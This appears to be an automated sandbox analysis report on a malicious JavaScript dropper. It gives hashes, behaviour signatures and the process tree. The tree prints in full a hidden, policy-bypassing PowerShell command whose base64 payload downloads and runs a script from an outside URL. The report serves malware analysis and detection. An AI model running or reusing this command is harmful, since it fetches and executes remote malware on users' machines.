Analysis

  • max time kernel
    1s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-12-2023 02:25

General

  • Target

    246ce6cf512c5cb88f8a81bb6f21ffb6.js

  • Size

    115KB

  • MD5

    246ce6cf512c5cb88f8a81bb6f21ffb6

  • SHA1

    f1df0e5abcf47dca52ffb628b1f52146a9cd500b

  • SHA256

    0f989532feb27cdce978de05898d8acfa86cacfeaca95dc4d22463b0f1e8ca00

  • SHA512

    6d0c77056711d32bf1616ceae797bfb41777aa3b4c29ccb5a1ebd8a498b928b192df7a2313797ce2c4b8c9d253db34e3eb1cdf65fe19d81fddeebf3bf51c2fe4

  • SSDEEP

    3072:59Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIvt/4g5eaXb:59Ry9RuXqW4SzUHmLKeMMU7GwWBPwVGE

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\246ce6cf512c5cb88f8a81bb6f21ffb6.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
          PID:1480

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ysh4kg3k.hz1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1480-1-0x0000024038820000-0x0000024038842000-memory.dmp

      Filesize

      136KB

    • memory/1480-11-0x00007FFCF45E0000-0x00007FFCF50A1000-memory.dmp

      Filesize

      10.8MB

    • memory/1480-13-0x0000024038850000-0x0000024038860000-memory.dmp

      Filesize

      64KB

    • memory/1480-12-0x0000024038850000-0x0000024038860000-memory.dmp

      Filesize

      64KB

    • memory/1480-15-0x0000024038850000-0x0000024038860000-memory.dmp

      Filesize

      64KB

    • memory/1480-18-0x00007FFCF45E0000-0x00007FFCF50A1000-memory.dmp

      Filesize

      10.8MB

    • memory/1480-14-0x0000024038850000-0x0000024038860000-memory.dmp

      Filesize

      64KB